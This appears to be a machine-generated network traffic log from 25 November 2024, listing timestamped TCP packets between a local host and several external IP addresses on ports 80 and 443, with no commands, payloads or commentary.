Nov 25, 2024 03:40:06.587568045 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.587620974 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.587663889 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.587727070 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.588458061 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.588506937 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.588571072 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.588619947 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.589308023 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.589356899 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.589407921 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.589467049 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.590178013 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.590274096 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.590296984 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.590392113 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.591068029 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.591135979 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.591176033 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.591248989 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.591909885 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.591959953 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.591979980 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.592078924 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.592767000 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.592817068 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.592885017 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.592952013 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.593625069 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.593673944 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.593732119 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.593842983 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.594482899 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.594546080 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.594624996 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.594715118 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.595295906 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.595345020 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.610997915 CET	49843	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:40:06.751329899 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.751405954 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.751421928 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.751468897 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.751729012 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.751781940 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.751832008 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.751950979 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.752593994 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.752713919 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.752764940 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.753459930 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.753514051 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.753551006 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.753613949 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.754312038 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.754359961 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.754420996 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.754554987 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.755187988 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.755295992 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.755409002 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.756053925 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.756130934 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.756154060 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.756221056 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.756907940 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.756953955 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.757052898 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.757100105 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.757766008 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.757814884 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.757878065 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.757927895 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.758631945 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.758682966 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.758748055 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.758804083 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.759491920 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.759546995 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.759592056 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.759675026 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.760370970 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.760427952 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.760469913 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.760519028 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.761229038 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.761302948 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.761354923 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.761531115 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.762095928 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.762150049 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.762212038 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.762290955 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.762962103 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.763020039 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.763055086 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.763102055 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.763809919 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.763926029 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.763945103 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.764014959 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.764691114 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.764806986 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.764822006 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.764861107 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.765577078 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.765626907 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.765692949 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.765753031 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.766437054 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.766489983 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.766530991 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.766578913 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.767297983 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.767421961 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.767551899 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.768148899 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.768204927 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.768246889 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.768326044 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.769002914 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.769057989 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.769119024 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.769217014 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.769885063 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.769946098 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.769989014 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.770034075 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.770746946 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.770819902 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.770873070 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.770963907 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.771611929 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.771661997 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.771761894 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.771869898 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.772501945 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.772598028 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.772631884 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.772707939 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.773367882 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.773473978 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.773540974 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.773622036 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.774260998 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.774310112 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.774424076 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.774609089 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.775065899 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.775141954 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.775177956 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.775226116 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.775955915 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.776002884 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.776070118 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.776141882 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.776796103 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.776845932 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.776910067 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.776953936 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.777650118 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.777698994 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.777753115 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.777805090 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.778548002 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.778598070 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.778667927 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.778718948 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.779386997 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.779432058 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.779499054 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.779589891 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.780240059 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.780299902 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.780340910 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.780436039 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.781146049 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.781194925 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.781198025 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.781311035 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.781979084 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.782027960 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.782079935 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.782135010 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.782825947 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.782932997 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.782988071 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.783715963 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.783766985 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.783808947 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.783901930 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.784552097 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.784604073 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.784667015 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.784722090 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.785423040 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.785473108 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.785523891 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.785569906 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.786279917 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.786330938 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.786371946 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.786464930 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.787159920 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.787210941 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.787252903 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.787297010 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.788008928 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.788059950 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.788105965 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.788216114 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.788871050 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.788933039 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.788974047 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.789024115 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.789738894 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.789784908 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.789849043 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.789901972 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.790628910 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.790749073 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.790812016 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.791476965 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.791527987 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.791569948 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.791610003 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.792342901 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.792402983 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.792443037 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.792526007 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.793229103 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.793277979 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.793296099 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.793380022 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.794061899 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.794131041 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.794167042 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.794291973 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.794925928 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.794972897 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.795041084 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.795087099 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.795789957 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.795840979 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.795876980 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.795926094 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.796602964 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.796652079 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.806999922 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:40:06.807065010 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:40:06.961289883 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.961364985 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.961374044 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.961419106 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.961658001 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.961757898 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.961812019 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.962512016 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.962564945 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.962599039 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.962727070 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.963383913 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.963433027 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.963479042 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.963582993 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:07.009072065 CET	443	49843	104.117.182.32	192.168.2.8
Nov 25, 2024 03:40:07.009140015 CET	443	49843	104.117.182.32	192.168.2.8
Nov 25, 2024 03:40:07.009218931 CET	49843	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:40:07.009241104 CET	443	49843	104.117.182.32	192.168.2.8
Nov 25, 2024 03:40:07.009321928 CET	443	49843	104.117.182.32	192.168.2.8
Nov 25, 2024 03:40:07.009327888 CET	49843	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:40:07.009438992 CET	49843	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:40:07.012937069 CET	49843	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:40:07.012957096 CET	443	49843	104.117.182.32	192.168.2.8
Nov 25, 2024 03:40:07.021850109 CET	49844	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:40:07.021888018 CET	443	49844	104.117.182.32	192.168.2.8
Nov 25, 2024 03:40:07.021950006 CET	49844	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:40:07.022176027 CET	49844	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:40:07.022192955 CET	443	49844	104.117.182.32	192.168.2.8
Nov 25, 2024 03:40:07.274141073 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:40:07.274682999 CET	49845	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:40:07.393701077 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:40:07.394108057 CET	80	49845	185.215.113.206	192.168.2.8
Nov 25, 2024 03:40:07.394218922 CET	49845	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:40:07.394542933 CET	49845	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:40:07.513983011 CET	80	49845	185.215.113.206	192.168.2.8
Nov 25, 2024 03:40:08.284982920 CET	443	49844	104.117.182.32	192.168.2.8
Nov 25, 2024 03:40:08.285348892 CET	49844	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:40:08.285366058 CET	443	49844	104.117.182.32	192.168.2.8
Nov 25, 2024 03:40:08.286011934 CET	443	49844	104.117.182.32	192.168.2.8
Nov 25, 2024 03:40:08.286626101 CET	49844	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:40:08.286772013 CET	443	49844	104.117.182.32	192.168.2.8
Nov 25, 2024 03:40:08.286865950 CET	49844	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:40:08.327323914 CET	443	49844	104.117.182.32	192.168.2.8
Nov 25, 2024 03:40:08.744684935 CET	443	49844	104.117.182.32	192.168.2.8
Nov 25, 2024 03:40:08.744710922 CET	443	49844	104.117.182.32	192.168.2.8
Nov 25, 2024 03:40:08.744777918 CET	443	49844	104.117.182.32	192.168.2.8
Nov 25, 2024 03:40:08.744781971 CET	49844	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:40:08.744849920 CET	49844	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:40:08.750309944 CET	49844	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:40:08.750329971 CET	443	49844	104.117.182.32	192.168.2.8
Nov 25, 2024 03:40:08.759517908 CET	49846	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:40:08.759548903 CET	443	49846	104.117.182.32	192.168.2.8
Nov 25, 2024 03:40:08.759633064 CET	49846	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:40:08.759907007 CET	49846	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:40:08.759919882 CET	443	49846	104.117.182.32	192.168.2.8
Nov 25, 2024 03:40:09.269578934 CET	80	49845	185.215.113.206	192.168.2.8
Nov 25, 2024 03:40:09.269643068 CET	49845	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:40:10.022053003 CET	443	49846	104.117.182.32	192.168.2.8
Nov 25, 2024 03:40:10.025928974 CET	49846	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:40:10.025952101 CET	443	49846	104.117.182.32	192.168.2.8
Nov 25, 2024 03:40:10.027111053 CET	443	49846	104.117.182.32	192.168.2.8
Nov 25, 2024 03:40:10.032042027 CET	49846	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:40:10.032335997 CET	443	49846	104.117.182.32	192.168.2.8
Nov 25, 2024 03:40:10.032532930 CET	49846	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:40:10.075345039 CET	443	49846	104.117.182.32	192.168.2.8
Nov 25, 2024 03:40:10.478143930 CET	443	49846	104.117.182.32	192.168.2.8
Nov 25, 2024 03:40:10.478214979 CET	443	49846	104.117.182.32	192.168.2.8
Nov 25, 2024 03:40:10.478288889 CET	49846	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:40:10.478306055 CET	443	49846	104.117.182.32	192.168.2.8
Nov 25, 2024 03:40:10.478398085 CET	443	49846	104.117.182.32	192.168.2.8
Nov 25, 2024 03:40:10.478446960 CET	49846	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:40:10.481170893 CET	49846	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:40:10.481187105 CET	443	49846	104.117.182.32	192.168.2.8
Nov 25, 2024 03:40:10.488033056 CET	49847	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:40:10.488089085 CET	443	49847	104.117.182.32	192.168.2.8
Nov 25, 2024 03:40:10.488147974 CET	49847	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:40:10.488507032 CET	49847	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:40:10.488523006 CET	443	49847	104.117.182.32	192.168.2.8
Nov 25, 2024 03:40:11.798387051 CET	443	49847	104.117.182.32	192.168.2.8
Nov 25, 2024 03:40:11.798959970 CET	49847	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:40:11.798985958 CET	443	49847	104.117.182.32	192.168.2.8
Nov 25, 2024 03:40:11.800283909 CET	443	49847	104.117.182.32	192.168.2.8
Nov 25, 2024 03:40:11.800663948 CET	49847	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:40:11.800741911 CET	443	49847	104.117.182.32	192.168.2.8
Nov 25, 2024 03:40:11.800863981 CET	49847	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:40:11.843333006 CET	443	49847	104.117.182.32	192.168.2.8
Nov 25, 2024 03:40:11.948704958 CET	443	49806	23.209.72.10	192.168.2.8
Nov 25, 2024 03:40:11.948795080 CET	443	49806	23.209.72.10	192.168.2.8
Nov 25, 2024 03:40:11.948868990 CET	49806	443	192.168.2.8	23.209.72.10
